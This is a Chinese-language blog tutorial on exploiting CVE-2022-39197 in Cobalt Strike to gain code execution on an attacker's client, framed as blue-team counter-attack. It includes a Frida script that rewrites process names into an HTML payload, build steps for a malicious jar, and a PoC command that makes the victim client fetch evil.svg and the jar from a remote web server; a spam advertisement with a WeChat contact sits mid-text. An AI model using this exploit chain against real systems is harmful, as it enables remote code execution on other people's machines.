前言
Cobalt Strike 使用 GUI 框架 SWING(一種java GUI的庫)開發,攻擊者可通過CS木馬在 beacon 元數據中注入惡意 HTML 標籤,使得Cobalt Strike對其進行解析並且加載惡意代碼(類似XSS攻擊),從而在目標系統上執行任意代碼。
實現原理
攻擊者需要通過CS木馬在 beacon 元數據中注入惡意payload,恰好Frida 可以用於鉤入和修改各種函數,包括 Windows API 函數,這裏反制主要通過使用Frida框架鉤入Windows API函數,從而對beacon 元數據中注入惡意代碼,以下是一些你可以通過 Frida 鉤入的 Windows API 函數的示例
-
Kernel32.dll:
CreateFileW
ReadFile
WriteFile
FindFirstFileW
CreateProcessW
GetProcAddress
LoadLibraryW
VirtualAlloc
VirtualProtect
-
Advapi32.dll:
RegOpenKeyExW
RegQueryValueExW
RegSetValueExW
GetUserNameA
-
User32.dll:
MessageBoxW
SetWindowTextW
GetWindowTextW
-
Gdi32.dll:
TextOutW
CreateFontIndirectW
-
Shell32.dll:
ShellExecuteW
-
Ws2_32.dll:
send
recv
在 Frida 中,你可以使用 Interceptor.attach 方法來附加到這些函數並添加你自己的處理邏輯。這樣,你就可以在這些函數被調用時執行自定義代碼,此時也意味着你可以對 beacon 元數據中注入自定義代碼了。
例如Kernel32.dll:中的Process32Next
# Frida 框架來攔截 kernel32.dll 中的 Process32Next 函數,該函數用於遍歷進程列表
var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next")
# 使用Interceptor.attach方法附加到 Process32Next 函數,以下爲自己的處理邏輯
Interceptor.attach(pProcess32Next, {
onEnter: function(args) {
this.pPROCESSENTRY32 = args[1];
if(Process.arch == "ia32"){
this.exeOffset = 36;
}else{
this.exeOffset = 44;
}
this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},
onLeave: function(retval) {
if(this.szExeFile.readAnsiString() == "target") {
send("[!] Found beacon, injecting payload");
this.szExeFile.writeAnsiString(payload);
}
}
})
函數內整體邏輯拆開來分析下
處理函數進入 onEnter
onEnter: function(args) {
this.pPROCESSENTRY32 = args[1];
if(Process.arch == "ia32"){
this.exeOffset = 36;
}else{
this.exeOffset = 44;
}
this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},
在函數進入時,保存 Process32Next
函數的參數,並計算 szExeFile
的地址。szExeFile
是一個指向進程信息結構體的字段,其中包含進程的可執行文件名
處理函數離開 onLeave
onLeave: function(retval) {
if(this.szExeFile.readAnsiString() == "target") {
send("[!] Found beacon, injecting payload");
this.szExeFile.writeAnsiString(payload);
}
}
在函數離開時,檢查 szExeFile
中的進程可執行文件名是否等於字符串 "target"。如果相匹配,將指定的 payload
寫入進程的可執行文件名裏,使得Cobalt Strike對其進行解析並且加載payload
簡單來說就是注入Windows API修改tasklist返回的進程名,將進程名改寫成攻擊payload,當攻擊者點擊beacon執行列出進程時,只要他瀏覽到帶有payload的進程名,就會執行反制RCE
反制復現
環境準備:
開源POC和EXP:https://github.com/its-arun/CVE-2022-39197
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
1、編輯惡意文件內容
修改Exploit.java,更改exec內代碼參數爲要執行的命令,我這裏爲了直觀展示則執行powershell一句話上線CS
2、編譯文件
使用IDEA+maven進行編譯,編譯完成後會在target目錄下生成EvilJar-1.0-jar-with-dependencies.jar文件,具體如下
3、將生成的惡意jar文件和svg文件放在同一路徑下
將紅隊發送的木馬樣本放在與cve-2022-39197.py腳本同一路徑下
4、藍隊在serve路徑下開啓一個web服務
5、編輯evil.svg文件,替換爲當前路徑啓用的惡意jar的web地址
6、執行POC腳本
python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg
運行後,紅隊的cs客戶端上可以看到此時木馬已經成功上線
當紅隊嘗試獲取用戶會話的進程列表,當滾動進程列表進行查看當前會話所在進程名時即觸發(若未觸發可能需要手動點擊或觸發存在延遲),請求藍隊web服務上的evil.svg文件,而evil.svg文件又繼續加載請求惡意文件EvilJar-1.0-jar-with-dependencies.jar
成功上線藍隊CS,從而達到反制RCE
思考
除了以上Kernel32.dll:中的Process32Next函數的反制思路,其實還有很多其他的反制思路,正如Windows API 函數之多。我們還可以嘗試Kernel32.dll:中的FindFirstFileW函數(根據文件名查找文件的函數),大概情況就是注入Windows API 修改返回的文件名,將文件名改寫成攻擊payload,當攻擊者點擊beacon執行列出文件時,只要他瀏覽到帶有payload的文件名,就會執行反制RCE,以下就直接展示上線的效果(復現步驟和上面一樣)
最後
此Cobalt Strike反制雖然是一個去年曝光的漏洞了,但是基數上還是會有許多人在使用着存在漏洞的Cobalt Strike版本,對應地Cobalt Strike的反制可玩性還是很高的,師傅們發揮想象可以讓對手猝不及防。
更多網安技能的在線實操練習,請點擊這裏>>